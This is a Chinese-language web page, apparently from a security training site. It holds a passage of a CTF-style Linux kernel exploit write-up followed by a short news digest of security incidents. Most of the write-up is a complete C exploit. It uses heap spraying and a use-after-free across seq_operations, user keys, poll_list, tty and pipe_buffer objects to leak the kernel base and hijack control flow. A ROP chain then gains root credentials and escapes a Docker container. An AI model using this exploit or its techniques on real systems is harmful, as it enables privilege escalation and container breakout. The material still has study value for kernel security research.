喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object 。
释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。
打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。
int tty_alloc_file(struct file *file)
{
struct tty_file_private *priv;
priv = kmalloc(sizeof(*priv), GFP_KERNEL);
if (!priv)
return -ENOMEM;
file->private_data = priv;
return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
趁 poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer 。
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private;};
之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。
docker逃逸
具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。
// commit_creds(&init_creds)
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define PAGE_SIZE 0x1000
int randint(int min, int max) {
return min + (rand() % (max - min));
}
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
bool is_kernel_text_addr(size_t addr) {
return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
// return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}
bool is_dir_mapping_addr(size_t addr) {
return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}
#define INVALID_KERNEL_OFFSET 0x1145141919810
const size_t kernel_addr_list[] = {
0xffffffff813275c0,
0xffffffff812d4320,
0xffffffff812d4340,
0xffffffff812d4330
};
size_t kernel_offset_query(size_t kernel_text_leak) {
if (!is_kernel_text_addr(kernel_text_leak)) {
return INVALID_KERNEL_OFFSET;
}
for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
&& (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
return kernel_text_leak - kernel_addr_list[i];
}
}
printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
return INVALID_KERNEL_OFFSET;
}
size_t search_kernel_offset(void *buf, int len) {
size_t *search_buf = buf;
for (int i = 0; i < len / 8; i++) {
size_t kernel_offset = kernel_offset_query(search_buf[i]);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
printf("[+] kernel offset: %#lx\n", kernel_offset);
return kernel_offset;
}
}
return INVALID_KERNEL_OFFSET;
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;
void *alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
bind_core(true, true);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
poll(pfds, nfds, timer);
bind_core(false, true);
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
}
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
pthread_t poll_tid[POLL_NUM];
void create_poll_thread(size_t size, int timer) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds =
(size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
+ N_STACK_PPS;
args->timer = timer;
pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}
void wait_poll_start() {
while (poll_threads != poll_cnt);
}
void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
for (int i = 0; i < poll_threads; i++) {
pthread_join(poll_tid[i], NULL);
if (confuse != NULL) {
confuse(confuse_args);
}
}
poll_cnt = poll_threads = 0;
}
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
#define KEY_NUM 199
int key_id[KEY_NUM];
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "%d", id);
return key_id[id] =
syscall(__NR_add_key, "user", description, payload,
payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
void get_shell(void) {
char *args[] = {"/bin/bash", "-i", NULL};
execve(args[0], args, NULL);
}
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
int cormon_fd;
char buf[0x20000];
void seq_confuse(void *args) {
open("/proc/self/stat", O_RDONLY);
}
size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;
int main() {
bind_core(true, false);
save_status();
signal(SIGSEGV, (void *) get_shell);
cormon_fd = open("/proc_rw/cormon", O_RDWR);
if (cormon_fd < 0) {
perror("[-] failed to open cormon.");
exit(-1);
}
size_t kernel_offset;
int target_key;
puts("[*] Saturating kmalloc-32 partial slabs...");
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
perror("[-] failed to open stat.");
exit(-1);
}
if (i == 2048) {
puts("[*] Spraying user keys in kmalloc-32...");
for (int j = 0; j < KEY_NUM; j++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(j, buf, 32);
if (j == 72) {
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int k = 0; k < 14; k++) {
create_poll_thread(
PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),
3000);
}
bind_core(true, false);
wait_poll_start();
}
}
puts("[*] Corrupting poll_list next pointer...");
write(cormon_fd, buf, PAGE_SIZE);
puts("[*] Triggering arbitrary free...");
join_poll_threads(seq_confuse, NULL);
puts("[*] Overwriting user key size / Spraying seq_operations structures...");
}
}
puts("[*] Leaking kernel pointer...");
for (int i = 0; i < KEY_NUM; i++) {
int len = key_read(i, buf, sizeof(buf));
kernel_offset = search_kernel_offset(buf, len);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
qword_dump("dump leak memory", buf, 0x1000);
target_key = i;
break;
}
}
if (kernel_offset == INVALID_KERNEL_OFFSET) {
puts("[-] failed to leak kernel offset,try again.");
exit(-1);
}
push_rsi_pop_rsp_ret += kernel_offset;
pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
pop_r14_pop_r15_ret += kernel_offset;
find_task_by_vpid += kernel_offset;
init_fs += kernel_offset;
pop_rcx_ret += kernel_offset;
add_rax_rcx_ret += kernel_offset;
mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
pop_rbx_ret += kernel_offset;
swapgs_ret += kernel_offset;
iretq += kernel_offset;
puts("[*] Freeing user keys...");
for (int i = 0; i < KEY_NUM; i++) {
if (i != target_key) {
key_unlink(i);
}
}
sleep(1);
puts("[*] Spraying tty_file_private / tty_struct structures...");
int tty_fd[TTY_NUM];
for (int i = 0; i < TTY_NUM; i++) {
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fd[i] < 0) {
perror("[-] failed to open ptmx");
}
}
puts("[*] Leaking heap pointer...");
size_t target_object = -1;
int len = key_read(target_key, buf, sizeof(buf));
qword_dump("dump leak memory", buf, 0x1000);
for (int i = 0; i < len; i += 8) {
struct tty_file_private *head = (void *) &buf[i];
if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
&& head->list.next == head->list.prev && head->list.prev != NULL) {
qword_dump("leak tty_struct addr from tty_file_private", &buf[i],
sizeof(struct tty_file_private));
target_object = (size_t) head->tty;
printf("[+] tty_struct addr: %p\n", target_object);
break;
}
}
if (target_object == -1) {
puts("[-] failed to leak tty_struct addr.");
exit(-1);
}
puts("[*] Freeing seq_operation structures...");
for (int i = 2048; i < SEQ_NUM; i++) {
close(seq_fd[i]);
}
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int i = 0; i < 192; i++) {
create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
}
bind_core(true, false);
wait_poll_start();
puts("[*] Freeing corrupted key...");
key_unlink(target_key);
sleep(1); // GC key
puts("[*] Overwriting poll_list next pointer...");
char key[32] = {};
*(size_t *) &buf[0] = target_object - 0x18;
for (int i = 0; i < KEY_NUM; i++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(i, key, 32);
}
puts("[*] Freeing tty_struct structures...");
for (int i = 0; i < TTY_NUM; i++) {
close(tty_fd[i]);
}
sleep(1); // GC TTYs
int pipe_fd[PIPE_NUM][2];
puts("[*] Spraying pipe_bufer structures...");
for (int i = 0; i < PIPE_NUM; i++) {
pipe(pipe_fd[i]);
write(pipe_fd[i][1], "aaaaaa", 6);
}
puts("[*] Triggering arbitrary free...");
join_poll_threads(NULL, NULL);
((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;
size_t *rop = (size_t *) buf;
*rop++ = pop_r14_pop_r15_ret;
rop++;
rop++; // ops
// commit_creds(&init_creds)
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
// back to user
*rop++ = swapgs_ret;
*rop++ = iretq;
*rop++ = (uint64_t) get_shell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
puts("[*] Spraying ROP chain...");
for (int i = 0; i < 31; i++) {
key_alloc(i, buf, 1024);
}
puts("[*] Hijacking control flow...");
for (int i = 0; i < PIPE_NUM; i++) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
sleep(5);
return 0;
}
多试几次还是可以成功的。
网络安全日报 2024年11月11日
1、朝鲜黑客采用新战术攻击加密货币相关企业
https://securityaffairs.com/170659/malware/bluenoroff-apt-macos-malware.html 自2024年7月以来,朝鲜黑客针对加密货币相关行业的企业展开了新的网络攻击,使用钓鱼邮件和专门针对macOS的新型恶意软件。安全研究人员发现,这些钓鱼邮件看似包含有关比特币价格上涨风险的有用信息,但实际上内藏恶意软件。这些钓鱼邮件诱惑收件人点击并且下载一个名为“Hidden Risk Behind New Surge of Bitcoin Price.app”的恶意macOS应用程序包。该应用程序会下载并打开一个真实的PDF文件,里面是一篇
2、恶意软件Androxgh0st集成Mozi僵尸网络用于IoT漏洞的攻击
https://hackread.com/androxgh0st-botnet-integrate-mozi-iot-vulnerabilities/ Androxgh0st僵尸网络自2024年1月以来主要针对web服务器。近期,安全研究人员在分析Androxgh0st僵尸网络的命令与控制(C&C)日志时发现,该僵尸网络中具有Mozi僵尸网络相关的有效攻击载荷。因此可推测Androxgh0st僵尸网络为了能够更有效地感染IoT设备,在最新的变种中集成了Mozi僵尸网络的攻击组件,并利用一系列web应用程序和物联网(IoT)设备的各种漏洞进行攻击,其中便包含了Sophos Firewall防火
3、M2交易所遭到黑客攻击导致1370万美元加密货币被盗
https://www.cryptopolitan.com/m2-exchange-reports-hack-restores-13-7m-in-eth-sol-and-btc/ 11月1日,加密货币交易所M2遭到了一起黑客攻击事件导致超过1370万美元的加密货币从其热钱包中被盗。受影响的资产包括以太坊(ETH)、Solana(SOL)和比特币(BTC)。M2是一个相对较小的交易所,总部位于阿布扎比,主要服务于有限的市场。截至11月1日,M2的每日交易量仅为3.2万美元。尽管如此,M2在冷钱包中持有超过6700万美元的各种资产,在热钱包中持有超过1150万美元的资产,分布在六条链上,包括Bi
4、VEEAM漏洞再次被新的勒索软件Frag利用
https://news.sophos.com/en-us/2024/11/08/veeam-exploit-seen-used-again-with-a-new-ransomware-frag/ 据近期多起管理检测和响应(MDR)的案例中,安全研究人员发现威胁行为者利用了Veeam备份服务器中的一个漏洞,同时还部署了一种新的勒索软件 “Frag”,该勒索软件在此之前从未被记录。初始访问时,威胁行为者通常会通过被 compromized 的VPN设备获得初始访问权限。接着通过利用CVE-2024-40711漏洞创建新的管理员账户,进一步渗透目标系统,最后在威胁行为者获得控制权后,便部署勒索软
5、Palo Alto Networks Expedition存在高危漏洞
https://securityaffairs.com/170697/uncategorized/palo-alto-networks-warns-potential-pan-os-rce.html 美国网络安全和基础设施安全局(CISA)于10月确认,Palo Alto Networks Expedition(防火墙配置迁移工具)存在高危漏洞(CVE-2024-5910)并且正在被攻击者利用。该漏洞由于在一个关键功能缺少身份验证,导致拥有攻击者在具有网络访问权限下通过发送简单的请求到暴露的端点来重置管理员密码,从而获得对系统的完全控制,包括了接管Palo Alto Networks Exp
6、Mazda车辆存在可被黑客利用的系统漏洞
https://hackread.com/hackers-mazda-vehicle-controls-system-vulnerabilities/ 网络安全研究人员发现,马自达汽车的多个车型存在严重的车载信息娱乐系统漏洞,特别是2014年至2021年的Mazda 3车型中使用的Connectivity Master Unit (CMU)。这些漏洞源于对攻击者提供的输入处理不当,可能允许物理接近的攻击者通过特制的USB设备执行任意代码,从而获得系统最高权限,危及车辆安全。攻击者可以通过在FAT32格式的USB存储设备上创建包含OS命令的文件(文件名以.up结尾)来利用这些漏洞。一旦初始攻击
7、GuLoader黑客活动针对欧洲工业和工程公司
https://www.cadosecurity.com/blog/guloader-targeting-european-industrial-companies 安全研究人员最近发现了一项针对欧洲工业和工程公司的GuLoader活动。GuLoader 是一种规避性shellcode下载器,用于提供远程访问木马(RAT),自2019年以来一直被威胁行为者使用并继续发展。此次攻击活动主要通过鱼叉式网络钓鱼邮件进行初始访问,目标包括罗马尼亚、波兰、德国和哈萨克斯坦等国家的电子制造、工程和工业公司。攻击者通过发送包含订单查询的电子邮件,附件中附带压缩文件(如ISO、7z、gzip、RAR)。这些
8、攻击者通过Excel文件传播新型Remcos RAT变种
https://hackread.com/hackers-use-excel-files-remcos-rat-variant-windows/ 网络安全研究人员发现了新的Remcos RAT(远程访问木马)变种,这是一种通过高级技术感染Windows系统、窃取数据并实现远程控制的危险恶意软件。该攻击活动是通过伪造成订单通知的欺骗性网络钓鱼邮件发起,附件是一个带有OLE对象的Excel文档。当用户打开这个恶意Excel文档时,CVE-2017-0199漏洞被利用来下载并执行一个HTML应用程序(HTA)文件。其中CVE-2017-0199是一个远程代码执行漏洞,它利用Microsoft Of
9、GodFather恶意软件瞄准全球500个银行和加密应用
https://cyble.com/blog/godfather-malware-targets-500-banking-and-crypto-apps-worldwide/ 安全研究员最近发现了GodFather安卓银行木马的新型变种通过钓鱼网站分发,并跟踪访问者数量以规划进一步行动。其中一个钓鱼网站“mygov-au[.]app”伪装成澳大利亚政府的官方MyGov网站。该变种现已瞄准超过500个银行和加密货币应用程序。最初,GodFather主要集中在英国、美国、土耳其、西班牙和意大利等地,但现在已扩展到日本、新加坡、希腊和阿塞拜疆。该新变种将Java代码转为Native代码,增加了检测
10、命令注入漏洞威胁 61,000 多个 D-Link NAS 设备
https://securityonline.info/cve-2024-10914-cvss-9-2-command-injection-flaw-threatens-61000-d-link-nas-devices D-Link NAS 设备中发现了一个严重漏洞 CVE-2024-10914,对全球超过 61,000 个系统构成严重风险。该缺陷是“account_mgr.cgi”脚本中的命令注入漏洞,允许远程攻击者通过特制的 HTTP GET 请求执行任意命令。此问题影响多个 D-Link NAS 型号,包括 DNS-320、DNS-320LW、DNS-325 和 DNS-340L, C
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
【双11大直播】11.11网安购!省钱实“利”派
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

